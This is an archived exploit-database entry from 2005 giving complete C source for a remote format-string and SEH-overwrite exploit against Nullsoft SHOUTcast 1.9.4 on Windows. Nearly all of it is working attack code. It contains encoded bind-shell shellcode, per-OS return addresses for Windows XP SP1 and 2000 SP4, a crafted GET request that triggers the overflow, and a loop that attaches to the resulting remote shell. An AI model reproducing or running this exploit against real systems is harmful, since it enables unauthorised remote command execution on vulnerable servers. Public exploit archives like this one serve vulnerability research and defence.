SHOUTcast 1.9.4 (Windows) - File Request Format String Remote Overflow

EDB-ID:

830




Platform:

Windows

Date:

2005-02-19


/*

Object:		PoC for Nullsoft SHOUTcast 1.9.4 File Request Format String Vulnerability

From the securityfocus bid at https://www.securityfocus.com/bid/12096 :
"This issue was reported to exist in version 1.9.4 on Linux. It is likely that versions for other
platforms are also affected by the vulnerability, though it is not known to what degree they are
exploitable."

This is now clarified, it's exploitable.

notes:		This is a two steps exploitation: the format bug is used to compute a buffer
			that will overwrite the stack later, resulting in a SEH overwriting.
			The exploit works for both the GUI and the console servers.
greets:		Sputnik
`date`:		Sat Feb 19 15:48:45     2005
credits:	Tomasz Trojanowski
author:		mandragore, mandragore@turingtest@gmail.com

Disclaimer:
This exploit is not to be published on any french site, including k-otic.com, because of the law
against vulnerability research (the LEN). We all know what security through obscurity means,
but I don't make the laws.

*/

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>

#define NORM  "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL  "\033[01;33m"
#define RED   "\033[01;31m"

#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.0 for " RED "shoutcast 1.9.4 (win gui & console)" NORM

#define fatal(x) { perror(x); exit(1); }

#define default_port 8000

struct { char *os; long goreg; long gpa; long lla; }
targets[] = {
	{ "wXP SP1     ", 0x77beeb23, 0x77be10cc, 0x77be10D0 },	// msvcrt.dll's
	{ "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 },
 }, tsz;

unsigned char bsh[]={
// 198 bytes, iat's gpa at 0x1a, iat's lla at 0x2b, port at 0x46 (1180), key 0xde
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB0,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0x57,0xD7,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,
0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,
0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0xB4,0x90,0x89,0x21,0xC8,0x21,0x0E,
0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xDA,0x42,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0xB4,0xDC,
0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,0x8D,0xB4,0xD3,0x89,0x21,0xC8,0x21,0x0E,0xB4,
0xDE,0x8A,0x8D,0xB4,0xDF,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,
0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,
0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,
0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,
0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,
0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,
0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

char verbose=0;

void setoff(long GPA, long LLA) {
	int gpa=GPA^0xdededede, lla=LLA^0xdededede;
	memcpy(bsh+0x1a,&gpa,4);
	memcpy(bsh+0x2b,&lla,4);
}

void usage(char *argv0) {
	int i;

	printf("%s -d <host/ip> [opts]\n\n",argv0);

	printf("Options:\n");
	printf(" -h undocumented\n");
	printf(" -v verbose mode on\n");
	printf(" -p <port> to connect to [default: %u]\n",default_port);
	printf(" -P <port> for the shellcode [default: 1180]\n");
	printf(" -t <target type>; choose below [default: 0]\n\n");

	printf("Types:\n");
	for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
		printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);

	exit(1);
}

void shell(int s) {
	char buff[4096];
	int retval;
	fd_set fds;

	printf("[+] connected!\n\n");

	for (;;) {
		FD_ZERO(&fds);
		FD_SET(0,&fds);
		FD_SET(s,&fds);

        if (select(s+1, &fds, NULL, NULL, NULL) < 0)
			fatal("[-] shell.select()");

		if (FD_ISSET(0,&fds)) {
			if ((retval = read(1,buff,4096)) < 1)
				fatal("[-] shell.recv(stdin)");
			send(s,buff,retval,0);
		}

		if (FD_ISSET(s,&fds)) {
			if ((retval = recv(s,buff,4096,0)) < 1)
				fatal("[-] shell.recv(socket)");
			write(1,buff,retval);
		}
	}
}

int main(int argc, char **argv, char **env) {
	struct sockaddr_in sin;
	struct hostent *he;
	char *host; int port=default_port;
	char *Host; int Port=1180; char bindopt=1;
	int i,s,ptr=0;
	int type=0;
	char *buff;

	printf(BANNER "\n");

	if (argc==1)
		usage(argv[0]);

	for (i=1;i<argc;i+=2) {
		if (strlen(argv[i]) != 2)
			usage(argv[0]);
		// chk nulls argv[i+1]
		switch(argv[i][1]) {
			case 't':
				type=atoi(argv[i+1]);
				if (type >= (sizeof(targets)/sizeof(tsz))) {
					printf("[-] bad target\n");
					usage(argv[0]);
				}
				break;
			case 'd':
				host=argv[i+1];
				break;
			case 'p':
				port=atoi(argv[i+1])?:default_port;
				break;
			case 's':
				if (strstr(argv[i+1],"rev"))
					bindopt=0;
				break;
			case 'H':
				Host=argv[i+1];
				break;
			case 'P':
				Port=atoi(argv[i+1])?:1180;
				Port=Port ^ 0xdede;
				Port=(Port & 0xff) << 8 | Port >>8;
				memcpy(bsh+0x46,&Port,2);
				Port=Port ^ 0xdede;
				Port=(Port & 0xff) << 8 | Port >>8;
				break;
			case 'v':
				verbose++; i--;
				break;
			case 'h':
				usage(argv[0]);
			default:
				usage(argv[0]);
			}
	}

	if (verbose)
		printf("verbose!\n");

	if ((he=gethostbyname(host))==NULL)
		fatal("[-] gethostbyname()");

	sin.sin_family = 2;
	sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
	sin.sin_port = htons(port);

	printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
	printf("[.] will try to put a bindshell on port %d.\n",Port);

// --------------------  core

	s=socket(2,1,6);

	if (connect(s,(struct sockaddr *)&sin,16)!=0)
		fatal("[-] connect()");

	printf("[+] connected, sending exploit\n");

	buff=(char *)malloc(4096);
	bzero(buff,4096);

	setoff(targets[type].gpa, targets[type].lla);

	ptr=sprintf(buff,"GET /content/%%#0%ux",1046-sizeof(bsh));
	memcpy(buff+ptr,bsh,sizeof(bsh)); ptr+=sizeof(bsh);
	strcpy(buff+ptr,"\xeb\x06\x41\x41"); ptr+=4;		// jump forward
	memcpy(buff+ptr,&targets[type].goreg,4); ptr+=4;	// ret off
	strcpy(buff+ptr,"\xe9\x2d\xff\xff\xff"); ptr+=5;	// jump backward
	strcpy(buff+ptr,"%#0200x.mp3 HTTP/1.0\r\n\r\n"); ptr+=28;

	send(s,buff,ptr,0);

	free(buff);

	close(s);

// --------------------  end of core

	sin.sin_port = htons(Port);
	sleep(2);
	s=socket(2,1,6);
	if (connect(s,(struct sockaddr *)&sin,16)!=0)
		fatal("[-] exploit most likely failed");
	shell(s);

	exit(0);
}


// milw0rm.com [2005-02-19]